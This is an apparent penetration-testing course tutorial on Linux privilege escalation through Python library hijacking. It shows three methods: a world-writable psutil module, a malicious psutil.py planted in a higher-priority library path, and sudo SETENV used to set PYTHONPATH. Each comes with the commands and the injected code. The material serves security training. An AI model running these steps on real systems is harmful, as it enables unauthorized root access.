There are many ways in which we can hijack a Python library. Much depends on the script and its contents itself. However, there are three basic vulnerabilities where hijacking can be used:

  1. Wrong write permissions
  2. Library Path
  3. PYTHONPATH environment variable

Wrong Write Permissions

Python Script

ls -l mem_status.py
 
-rwsrwxr-x 1 root mrb3n 188 Dec 13 20:13 mem_status.py

By analyzing the permissions over the mem_status.py Python file, we understand that we can execute this script and we also have permission to view the script, and read its contents.

#!/usr/bin/env python3
import psutil
 
available_memory = psutil.virtual_memory().available * 100 / psutil.virtual_memory().total
 
print(f"Available memory: {round(available_memory, 2)}%")

Module Permissions

grep -r "def virtual_memory" /usr/local/lib/python3.8/dist-packages/psutil/*
ls -l /usr/local/lib/python3.8/dist-packages/psutil/__init__.py

Module Contents

...SNIP...
 
def virtual_memory():
 
	...SNIP...
	
    global _TOTAL_PHYMEM
    ret = _psplatform.virtual_memory()
    # cached for later use in Process.memory_percent()
    _TOTAL_PHYMEM = ret.total
    return ret
 
...SNIP...
...SNIP...
 
def virtual_memory():
 
	...SNIP...
	#### Hijacking
	import os
	os.system('id')
	
 
    global _TOTAL_PHYMEM
    ret = _psplatform.virtual_memory()
    # cached for later use in Process.memory_percent()
    _TOTAL_PHYMEM = ret.total
    return ret
 
...SNIP...
sudo /usr/bin/python3 ./mem_status.py

Library Path

In Python, each version has a specified order in which libraries (modules) are searched and imported from. The order in which Python imports modules from are based on a priority system, meaning that paths higher on the list take priority over ones lower on the list. We can see this by issuing the following command:

PYTHONPATH Listing

python3 -c 'import sys; print("\n".join(sys.path))'
 
/usr/lib/python38.zip
/usr/lib/python3.8
/usr/lib/python3.8/lib-dynload
/usr/local/lib/python3.8/dist-packages
/usr/lib/python3/dist-packages

To be able to use this variant, two prerequisites are necessary.

  1. The module that is imported by the script is located under one of the lower priority paths listed via the PYTHONPATH variable.
  2. We must have write permissions to one of the paths having a higher priority on the list.

Psutil Default Installation Location

pip3 show psutil
 
...SNIP...
Location: /usr/local/lib/python3.8/dist-packages

From this example, we can see that psutil is installed in the following path: /usr/local/lib/python3.8/dist-packages. From our previous listing of the PYTHONPATH variable, we have a reasonable amount of directories to choose from to see if there might be any misconfigurations in the environment to allow us write access to any of them. Let us check.

Misconfigured Directory Permissions

ls -la /usr/lib/python3.8

After checking all of the directories listed, it appears that /usr/lib/python3.8 path is misconfigured in a way to allow any user to write to it. Cross-checking with values from the PYTHONPATH variable, we can see that this path is higher on the list than the path in which psutil is installed in. Let us try abusing this misconfiguration to create our own psutil module containing our own malicious virtual_memory() function within the /usr/lib/python3.8 directory

Hijacked Module Contents - psutil.py

#!/usr/bin/env python3
 
import os
 
def virtual_memory():
    os.system('id')

In order to get to this point, we need to create a file called psutil.py containing the contents listed above in the previously mentioned directory. It is very important that we make sure that the module we create has the same name as the import as well as have the same function with the correct number of arguments passed to it as the function we are intending to hijack. This is critical as without either of these conditions being true, we will not be able perform this attack. After creating this file containing the example of our previous hijacking script, we have successfully prepped the system for exploitation.

Privilege Escalation via Hijacking Python Library Path

sudo /usr/bin/python3 mem_status.py

PYTHONPATH Environment Variable

PYTHONPATH is an environment variable that indicates what directory (or directories) Python can search for modules to import. This is important as if a user is allowed to manipulate and set this variable while running the python binary, they can effectively redirect Python’s search functionality to a user-defined location when it comes time to import modules. We can see if we have the permissions to set environment variables for the python binary by checking our sudo permissions:

sudo -l 
 
Matching Defaults entries for htb-student on ACADEMY-LPENIX:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
 
User htb-student may run the following commands on ACADEMY-LPENIX:
    (ALL : ALL) SETENV: NOPASSWD: /usr/bin/python3

 It is important to note, that due to the trusted nature of sudo, any environment variables defined prior to calling the binary are not subject to any restrictions regarding being able to set environment variables on the system. This means that using the /usr/bin/python3 binary, we can effectively set any environment variables under the context of our running program. Let’s try to do so now using the psutil.py script from the last section.

Privilege Escalation using PYTHONPATH Environment Variable

sudo PYTHONPATH=/tmp/ /usr/bin/python3 ./mem_status.py